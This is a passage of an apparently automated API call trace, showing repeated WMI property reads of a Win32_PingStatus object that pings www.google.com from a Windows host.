lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b44a0*=0, plFlavor=0x24b44a4*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x24b44a0*=3, plFlavor=0x24b44a4*=64) returned 0x0 [0142.455] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b44d4*=0, plFlavor=0x24b44d8*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24b44d4*=8, plFlavor=0x24b44d8*=64) returned 0x0 [0142.455] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.455] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.455] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b4538*=0, plFlavor=0x24b453c*=0 | out: pVal=0x59ee858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b4538*=8, plFlavor=0x24b453c*=64) returned 0x0 [0142.456] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DYNASTY", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b4560*=0, plFlavor=0x24b4564*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24b4560*=8, plFlavor=0x24b4564*=64) returned 0x0 [0142.456] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.456] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.456] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__RELPATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b45b8*=0, plFlavor=0x24b45bc*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24b45b8*=8, plFlavor=0x24b45bc*=64) returned 0x0 [0142.456] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.456] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.456] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b4794*=0, plFlavor=0x24b4798*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x24b4794*=3, plFlavor=0x24b4798*=64) returned 0x0 [0142.456] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DERIVATION", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b47c8*=0, plFlavor=0x24b47cc*=0 | out: pVal=0x59ee858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507570*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24b47c8*=8200, plFlavor=0x24b47cc*=64) returned 0x0 [0142.457] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SERVER", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b47fc*=0, plFlavor=0x24b4800*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x24b47fc*=8, plFlavor=0x24b4800*=64) returned 0x0 [0142.457] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.457] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.457] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b4848*=0, plFlavor=0x24b484c*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x24b4848*=8, plFlavor=0x24b484c*=64) returned 0x0 [0142.457] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.457] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.457] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b4894*=0, plFlavor=0x24b4898*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24b4894*=8, plFlavor=0x24b4898*=64) returned 0x0 [0142.457] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.457] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.457] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee89c | out: puCount=0x59ee89c*=0x2) returned 0x0 [0142.457] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0x0, pszText=0x0 | out: puBuffLength=0x59ee898*=0xf, pszText=0x0) returned 0x0 [0142.457] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.457] IWbemClassObject:Get (in: This=0x4f480a0, wszName="BufferSize", lFlags=0, pVal=0x59ee898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b4acc*=0, plFlavor=0x24b4ad0*=0 | out: pVal=0x59ee898*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x24b4acc*=19, plFlavor=0x24b4ad0*=0) returned 0x0 [0142.458] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0142.458] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0142.458] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.458] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0142.458] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0142.458] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.458] IWbemClassObject:GetNames (in: This=0x4f480a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee890 | out: pNames=0x59ee890*="\x01ƀ\x04") returned 0x0 [0142.458] SafeArrayGetDim (psa=0x5075d0) returned 0x1 [0142.458] SafeArrayGetDim (psa=0x5075d0) returned 0x1 [0142.458] SafeArrayGetLBound (in: psa=0x5075d0, nDim=0x1, plLbound=0x59ee728 | out: plLbound=0x59ee728) returned 0x0 [0142.458] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.458] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.458] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.458] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.458] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.458] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.459] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.459] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.459] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.459] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.459] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.459] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.459] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.459] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.459] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.459] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.459] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.459] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.459] SysStringByteLen (bstr="__PATH") returned 0xc [0142.459] SysStringByteLen (bstr="__PATH") returned 0xc [0142.459] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__GENUS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b4e80*=0, plFlavor=0x24b4e84*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x24b4e80*=3, plFlavor=0x24b4e84*=64) returned 0x0 [0142.459] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b4eb4*=0, plFlavor=0x24b4eb8*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24b4eb4*=8, plFlavor=0x24b4eb8*=64) returned 0x0 [0142.460] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.460] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.460] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b4f0c*=0, plFlavor=0x24b4f10*=0 | out: pVal=0x59ee88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b4f0c*=8, plFlavor=0x24b4f10*=64) returned 0x0 [0142.460] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DYNASTY", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b4f34*=0, plFlavor=0x24b4f38*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24b4f34*=8, plFlavor=0x24b4f38*=64) returned 0x0 [0142.460] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.460] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.460] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__RELPATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b4f8c*=0, plFlavor=0x24b4f90*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24b4f8c*=8, plFlavor=0x24b4f90*=64) returned 0x0 [0142.460] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.460] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.460] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b5168*=0, plFlavor=0x24b516c*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x24b5168*=3, plFlavor=0x24b516c*=64) returned 0x0 [0142.461] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DERIVATION", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b519c*=0, plFlavor=0x24b51a0*=0 | out: pVal=0x59ee88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507510*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24b519c*=8200, plFlavor=0x24b51a0*=64) returned 0x0 [0142.461] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SERVER", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b51d0*=0, plFlavor=0x24b51d4*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x24b51d0*=8, plFlavor=0x24b51d4*=64) returned 0x0 [0142.461] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.461] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.461] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b521c*=0, plFlavor=0x24b5220*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x24b521c*=8, plFlavor=0x24b5220*=64) returned 0x0 [0142.461] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.461] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.461] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b5268*=0, plFlavor=0x24b526c*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24b5268*=8, plFlavor=0x24b526c*=64) returned 0x0 [0142.461] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.461] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.461] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8d0 | out: puCount=0x59ee8d0*=0x2) returned 0x0 [0142.461] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8cc*=0xf, pszText=0x0) returned 0x0 [0142.461] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.462] IWbemClassObject:Get (in: This=0x4f480a0, wszName="BufferSize", lFlags=0, pVal=0x59ee8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b54a0*=0, plFlavor=0x24b54a4*=0 | out: pVal=0x59ee8cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x24b54a0*=19, plFlavor=0x24b54a4*=0) returned 0x0 [0142.462] IWbemClassObject:Get (in: This=0x4f480a0, wszName="BufferSize", lFlags=0, pVal=0x59ee980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b54a0*=19, plFlavor=0x24b54a4*=0 | out: pVal=0x59ee980*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x24b54a0*=19, plFlavor=0x24b54a4*=0) returned 0x0 [0142.462] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0142.462] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0142.462] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.462] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0142.462] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0142.462] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.462] IWbemClassObject:GetNames (in: This=0x4f480a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee85c | out: pNames=0x59ee85c*="\x01ƀ\x04") returned 0x0 [0142.463] SafeArrayGetDim (psa=0x507570) returned 0x1 [0142.463] SafeArrayGetDim (psa=0x507570) returned 0x1 [0142.463] SafeArrayGetLBound (in: psa=0x507570, nDim=0x1, plLbound=0x59ee6f4 | out: plLbound=0x59ee6f4) returned 0x0 [0142.463] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.463] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.463] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.463] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.463] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.463] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.463] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.463] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.463] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.463] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.465] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.465] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.465] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.465] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.465] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.465] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.465] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.465] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.465] SysStringByteLen (bstr="__PATH") returned 0xc [0142.465] SysStringByteLen (bstr="__PATH") returned 0xc [0142.466] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__GENUS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b59cc*=0, plFlavor=0x24b59d0*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x24b59cc*=3, plFlavor=0x24b59d0*=64) returned 0x0 [0142.466] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b5a00*=0, plFlavor=0x24b5a04*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24b5a00*=8, plFlavor=0x24b5a04*=64) returned 0x0 [0142.466] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.466] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.466] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b5a58*=0, plFlavor=0x24b5a5c*=0 | out: pVal=0x59ee858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b5a58*=8, plFlavor=0x24b5a5c*=64) returned 0x0 [0142.466] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DYNASTY", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b5a80*=0, plFlavor=0x24b5a84*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24b5a80*=8, plFlavor=0x24b5a84*=64) returned 0x0 [0142.466] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.466] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.467] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__RELPATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b5ad8*=0, plFlavor=0x24b5adc*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24b5ad8*=8, plFlavor=0x24b5adc*=64) returned 0x0 [0142.467] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.467] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.467] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b5cb4*=0, plFlavor=0x24b5cb8*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x24b5cb4*=3, plFlavor=0x24b5cb8*=64) returned 0x0 [0142.467] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DERIVATION", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b5ce8*=0, plFlavor=0x24b5cec*=0 | out: pVal=0x59ee858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507540*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24b5ce8*=8200, plFlavor=0x24b5cec*=64) returned 0x0 [0142.467] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SERVER", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b5d1c*=0, plFlavor=0x24b5d20*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x24b5d1c*=8, plFlavor=0x24b5d20*=64) returned 0x0 [0142.467] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.467] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.468] 